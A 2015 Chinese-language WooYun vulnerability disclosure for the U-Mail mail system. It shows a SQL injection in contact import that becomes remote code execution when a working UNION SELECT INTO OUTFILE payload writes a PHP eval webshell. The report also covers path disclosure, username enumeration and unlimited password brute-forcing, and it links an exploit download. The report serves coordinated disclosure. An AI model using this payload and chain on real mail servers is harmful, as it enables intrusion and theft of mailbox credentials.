漏洞概要 关注数(41) 关注此漏洞
缺陷编号: WooYun-2015-92678
漏洞标题: U-Mail另类注入导致无限制getshell
相关厂商: U-Mail
漏洞作者: Ano_Tom
提交时间: 2015-01-21 15:35
公开时间: 2015-04-20 14:22
漏洞类型: SQL注射漏洞
危害等级: 高
自评Rank: 20
漏洞状态: 已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org
Tags标签: 无
漏洞详情
披露状态:
2015-01-21: 细节已通知厂商并且等待厂商处理中
2015-01-22: 厂商已经确认,细节仅向厂商公开
2015-01-25: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2015-03-18: 细节向核心白帽子及相关领域专家公开
2015-03-28: 细节向普通白帽子公开
2015-04-07: 细节向实习白帽子公开
2015-04-20: 细节向公众公开
简要描述:
U-Mail另类注入导致无限制getshell
详细说明:
1.邮件系统介绍
1)官方下载地址:http://**.**.**.**/html/downloads/
2)版本:最新版V9.8.57
3)测试环境:Windows Server 2003+IIS6.0+官方默认软件
4)使用案例:http://**.**.**.**/html/case/ OR Google "Powered by U-Mail"
2.邮件系统数据
1)系统默认路径:
c:\umail为邮件系统的默认路径
c:\umail\WorldClient\html\为邮件系统的web路径
http://**.**.**.**/webmail/为普通用户的登录入口
http://**.**.**.**/webmail/admin/?module=user&action=login为域/超域/系统管理员的登录入口
2)安装数据
系统安装完毕后在C:\umail路径下生成readme.txt文件,记录了安装的帐号密码相关信息,如图
安装完毕后有两个数据库umail和webmail,其中umail记录整个邮件系统的数据;
数据库会生成两个用户,一个root一个umail,其中umail帐号对应数据库umail[问题1]
同时系统会生成三个管理用户,admin(域管理员)、administrator(超域管理员)、system(系统管理员)前两个帐号可以管理所有用户密码等信息
对应的数据表为web_user,且密码明文存储,如图
3)漏洞文件
/client/pab/module/o_contact.php 代码为
两个sql查询的文件代码为
其中$contact = $PAB->getContactByMail( $user_id, $data['pref_email'], "contact_id", 0 );
在文件/client/admin/lib/PAB.php
$contact_id = $PAB->add_contact( $data, 0 );//执行插入数据操作
是直接将$data的数据insert到contact表里的。所以读取文件的内容,并获取参数,最终执行了函数,函数对变量未进行有效转义等,从而产生注入
这个注入比较另类的地方是,我们可以引入单引号、注释符进行闭合等,但是不能引入逗号,因为其从文件读取参数的时候是按照逗号进行分割的。所以只能sleep()一下,且若想盲注的话还不能引入逗号,因而无法继续利用。先查看下具体的sql语句。
缺陷产生的地方是在个人通讯录-导入联系人到此组中,要想导入联系人,先得获取提交文件的字段信息。
文件信息为
然后修改文件,执行导入联系人到此组
执行的sql语句为
发现INSERT的数据是写死的,fullname和pref_email不能引入)等进行闭合,因为其有逗号,(从文件获取参数的时候是按照逗号分割的,所以整个注入利用的exp中不能出现逗号),因而无法将select password from web_user INSERT到联系人表里。上面的select 也只能执行个sleep,且无法盲注(有逗号,暂未绕过)
所以此处是个鸡肋的sql注入,但恰巧该SQL语句只执行了SELECT contact_id这一个字段,所以我们可以进行UNION SELECT,从而不用产生逗号了。若只是查询数据也是获取不到的,因为其还是要引入逗号的。所以考虑到了INTO OUTFILE,巧合的是该邮件系统的umail帐号默认却是有FILE权限的(邮箱存储邮件是写文件的,应该是业务需求)
UNION SELECT 要保证前面的sql执行无结果返回,因而getshell的最终exp为,在联系人表的电子邮件地址写入
hello' AND 1=2 UNION SELECT '<?php eval($_POST[1]);' INTO OUTFILE 'C:\\umail\\WorldClient\\html\\damn.php'#即可
执行的sql语句为
当然,我们要知道网站的web路径才可以,默认路径是c:\umail,若不是默认路径,这里还一处爆路径缺陷,登录状态下访问webmail/client/mail/index.php?module=operate&action=attach-packdown即可,或者在未登录状态下直接访问/webmail/client/mail/module/test.php即可
从而获得webshell为
这样难道还不完美?如何获得邮箱系统的一个普通帐号,难道不容易获取么?
主页登录处,输错密码三次就要输入验证码,但该系统中却存在一处设计缺陷,该设计缺陷,不仅可以猜解存在哪些用户名,而且可以导致暴力猜解用户密码,
/api/userCheck.php代码为
如何获得用户名?(妈蛋,既然邮件系统,肯定邮箱地址是公开的,这就是用户名),当然我们可以暴力下有哪些用户名
方法,/webmail/api/userCheck.php?mailbox=xxxx@**.**.**.**&password=sbsbsbsbsbsb
要想暴力猜解用户名,必须保证密码是一个不存在的密码,很简单,设置个足够复杂变态的即可,如图
输出mailbox_not_exist表示不存在该用户名
输错password_error表示存在该用户名
暴力猜解用户名,载入用户名字典(拼音组合等),执行爆破。
获得用户名后,直接猜解密码即可,载入字典,无任何次数限制。密码正确提示ok,错误则提示password_error,如图
综上,从一个另类注入,完美getshell,附上官网demo1shell
附EXP下载,链接: http://**.**.**.**/s/1bnGVbY3 密码: wn3v 修改web路径,导入通讯录即可getshell,同时附送众多的案例,谷歌搜索,都第31页了还是有很多该邮件系统,使用量是比较大的,政府用户也居多。
漏洞证明:
如上详细描述
修复方案:
1.umail的权限[因邮箱系统的业务需求,因而需要FILE权限]
2.对从文件获取的参数未进行过滤处理
3.相关函数未进行过滤等处理
版权声明:转载请注明来源 Ano_Tom@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:18
确认时间:2015-01-22 16:39
厂商回复:
CNVD确认所述情况,已经由CNVD通过以往建立的处置渠道向软件生产厂商通报。
最新状态:
暂无
漏洞评价:
对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值